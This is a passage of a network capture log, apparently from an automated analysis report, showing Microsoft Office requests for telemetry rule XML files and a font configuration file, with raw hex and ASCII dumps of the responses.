2024-11-23 01:55:27 UTC	16384	IN	Data Raw: ff 00 c5 1b 5b 9b ed 22 cb 5c 82 65 54 b3 36 f2 dd c6 c4 99 18 1e 37 7e 02 be 47 38 c2 f2 d4 f6 da a7 1e a9 da dd 53 fb f7 f2 3d 8c 0d 48 b4 fc fa 77 3e 51 f1 c6 8b 7d a4 eb 97 9a 66 a5 13 47 7f a7 c8 51 83 2e 3c c1 fd e5 f5 ac 58 54 95 ec c3 bd 7d ef fb 52 78 33 43 f8 e1 f0 d6 ff 00 55 f0 9d ad bd 9d ff 00 84 d4 cf 1d e4 68 01 bc 50 39 89 bd 7b 9f c2 be 0e b8 85 84 3f 69 8d 0a 47 b8 ab a7 74 60 71 83 f9 57 d6 65 d8 a5 5e 8c 5f 32 7e 6b 67 d3 4b f4 b9 e3 62 a9 5a 6d a5 6e eb b1 1c 45 e1 93 60 1f ed 01 de ac 41 13 c9 30 94 36 d6 3d 2a b4 e1 c9 52 1b e7 1d ea 7b 5b 86 fb ae db 5f 38 07 d2 bd 23 95 3d 4e 83 4b f3 4b 72 98 65 e4 fb 8a e8 a3 11 ad 9c 73 d8 bb 03 fc 6a 2b 98 b7 0f e4 89 77 17 0b d7 6f 56 ad 8d 26 f4 b9 01 a3 db 8f d0 57 0d 44 d9 d2 74 1a 1d fe Data Ascii: ["\eT67~G8S=Hw>Q}fGQ.<XT}Rx3CUhP9{?iGt`qWe^_2~kgKbZmnE`A06=*R{[_8#=NKKresj+woV&WDt
2024-11-23 01:55:27 UTC	16067	IN	Data Raw: ac 3c 27 f6 a8 e4 b5 85 b5 0f b2 6b 8c fe 64 4d 31 d8 b7 31 ff 00 74 ff 00 9e f5 26 b4 35 ed 57 c5 9e 4c 9e 15 92 c6 75 62 63 d5 2c c6 62 91 87 fc b3 90 0e 30 7a 64 d7 85 57 88 73 5a d4 f9 e9 da 3e 49 5f f1 7d 4f 52 be 57 82 c3 4d 7b 28 73 25 6b f3 3b f5 df a6 9f d3 3c 3f c2 5f b3 97 c3 6f 05 e9 ad 79 ae db 5d 6b a5 81 8e 73 cf ee 3d 24 0b e8 3a d7 65 a1 f8 7f c0 16 da 1d 9d c7 86 34 ab 39 99 1c a0 bb 55 01 a3 7c fc a7 d8 e2 bb f5 bc be d6 74 db fb 27 d3 16 cb 53 11 b5 b4 88 c7 e5 24 f0 a4 1e e0 d7 35 a7 f8 6a c2 6f 02 af 85 f5 38 9b 49 d6 ee 19 c3 4b 00 da bb 81 f9 58 01 ed 5e 04 b3 0c 6d 59 ca a5 4a d2 ba 7b df 6f 45 dd 1e e6 16 9e 1b d9 4a 1c 96 57 b3 8a 4b 6b 6f e8 7b 07 ec e7 e2 cd 4a fe e3 fb 0b c4 36 b6 ed 7f 6f 11 f2 ef d1 42 b4 eb 9e 01 f7 af 58 Data Ascii: <'kdM11t&5WLubc,b0zdWsZ>I_}ORWM{(s%k;<?_oy]ks=$:e49U\|t'S$5jo8IKX^mYJ{oEJWKko{J6oBX
2024-11-23 01:55:27 UTC	16384	IN	Data Raw: 81 41 fe 2e 7d 47 eb 5d 47 c2 df 8a bf 02 bc 1f a8 5d eb 3a 9e bf 6b a2 f8 ba c6 12 93 db 5b 93 b6 ed 47 21 40 19 04 93 fc eb db e1 7e 7a 95 d4 31 0a f1 71 d9 ae 8b f2 77 f4 3c 9c c2 9e 1a 8e 1a 75 a1 2e 59 5d 5a cf af 9f 95 b4 3d 13 c7 da ef 88 fc 03 e2 7f 0e 58 1b 38 b5 29 2d c1 69 24 91 db 75 e3 11 82 57 e9 d6 bc cf f6 d8 f8 a9 a2 e9 96 9a 75 ef 85 a5 58 3c 4d aa 06 87 53 11 ce 72 b1 63 01 58 03 8e 32 6b 87 fd a5 bf 6a cd 0f c7 ba 65 b2 78 37 c3 b7 16 7a ac 2a 73 aa dd 30 ff 00 46 18 e8 98 ee 6b e5 39 b5 db cb c6 bd bf d5 6e a4 9b 51 9e 52 cd 33 b6 49 15 f4 ce 8e 36 bd 49 d2 95 4b e1 f4 b2 7b fa 77 4a fb f5 3c 8f 6f 84 8d 1a 73 f6 76 ac af 77 d3 ee ea 41 ae dc 19 75 6b 86 f3 0b be f2 5b 26 b2 7c 99 ee af 23 b4 b3 89 e6 ba b8 70 90 c4 a3 99 18 f4 02 91 Data Ascii: A.}G]G]:k[G!@~z1qw<u.Y]Z=X8)-i$uWuX<MSrcX2kjex7z*s0Fk9nQR3I6IK{wJ<osvwAuk[&\|#p
2024-11-23 01:55:27 UTC	16384	IN	Data Raw: df c4 af 04 a5 9d f6 b3 a1 2c 5a 2d db b2 69 17 0a 8b 2c 6a 72 78 73 c9 1c e6 ba 4d 17 e1 6f 86 96 36 b5 d3 b5 8d 42 c2 f2 36 db 15 d5 b3 15 08 de 8c a3 ef 0f ad 7c 56 3a 9d 16 e3 37 37 19 7a df 6f 5b fd c7 d5 47 09 86 8f 34 61 64 d6 ae ca fb f7 ff 00 34 7d 01 a5 f8 8e ef 49 b4 b6 fb 1c 59 d2 55 71 3c 3b 3f 79 6f f4 f5 15 d5 4d e2 9b 08 b4 b8 6f 5d 8b 41 71 c2 05 19 66 fc 2b e7 7f 09 ea 1e 22 82 fa fb c1 91 78 c2 de fb 5e d3 ad bc e7 b6 9e d9 63 6b 88 79 e4 1c f3 d2 b7 b4 3b 6f 11 6b fe 05 85 86 bb 67 6d 04 72 33 07 8c 06 92 07 fe ee 3d ab e8 70 99 de 61 4a 49 7c 51 6a fa ed d3 55 e5 e4 7c d6 65 94 47 d8 4e b5 09 26 d3 4b 7d ef fa f6 3a 3f 88 5a 82 e8 b3 c3 79 65 ac 4f 79 e1 fb a9 08 bd b4 5c bc b6 6e 7f 8c 9e a0 67 b7 b5 67 5d e9 18 93 fb 63 4f d5 56 e2 Data Ascii: ,Z-i,jrxsMo6B6\|V:77zo[G4ad4}IYUq<;?yoMo]Aqf+"x^cky;okgmr3=paJI\|QjU\|eGN&K}:?ZyeOy\ngg]cOV

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:27 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:27 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c569ec8c-a01e-003d-0e22-3d98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015527Z-178bfbc474bmqmgjhC1NYCy16c00000003xg0000000071zc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:27 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:27 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:27 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: ed298b8a-a01e-0002-322d-3c5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015527Z-178bfbc474btrnf9hC1NYCb80g00000003v000000000r1e4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 01:55:27 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49788	184.30.17.174	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:28 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 01:55:28 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0SyaoYgAAAACHM3u5nQtYS605XTu+5FyaTE9OMjFFREdFMDIxMgBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=53461 Date: Sat, 23 Nov 2024 01:55:28 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-23 01:55:28 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:28 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:28 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 29297304-901e-0083-6776-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015528Z-174c587ffdfmrvb9hC1TEBtn38000000028g00000000cz9e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:28 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:28 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6a83a5f2-e01e-000c-157b-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015528Z-174c587ffdf4zw2thC1TEBu340000000028g00000000mhwf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:28 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 15a67567-d01e-0066-07eb-3bea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015528Z-15b8b599d88g5tp8hC1TEByx6w000000025g00000000g02n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:29 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:29 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 52ac3eb7-c01e-0079-7e4e-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015529Z-15b8b599d8885prmhC1TEBsnkw00000002d0000000008qu8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:30 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:29 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:30 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: df8835e2-601e-0002-5b4e-3ca786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015530Z-15b8b599d882zv28hC1TEBdchn000000025000000000accg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:30 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:31 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:31 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 20caaba8-701e-005c-0363-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015531Z-178bfbc474bh5zbqhC1NYCkdug00000003pg00000000k3vw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:31 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3ac3f4da-f01e-001f-4c47-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015531Z-178bfbc474bwlrhlhC1NYCy3kg00000003q000000000r2gp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" 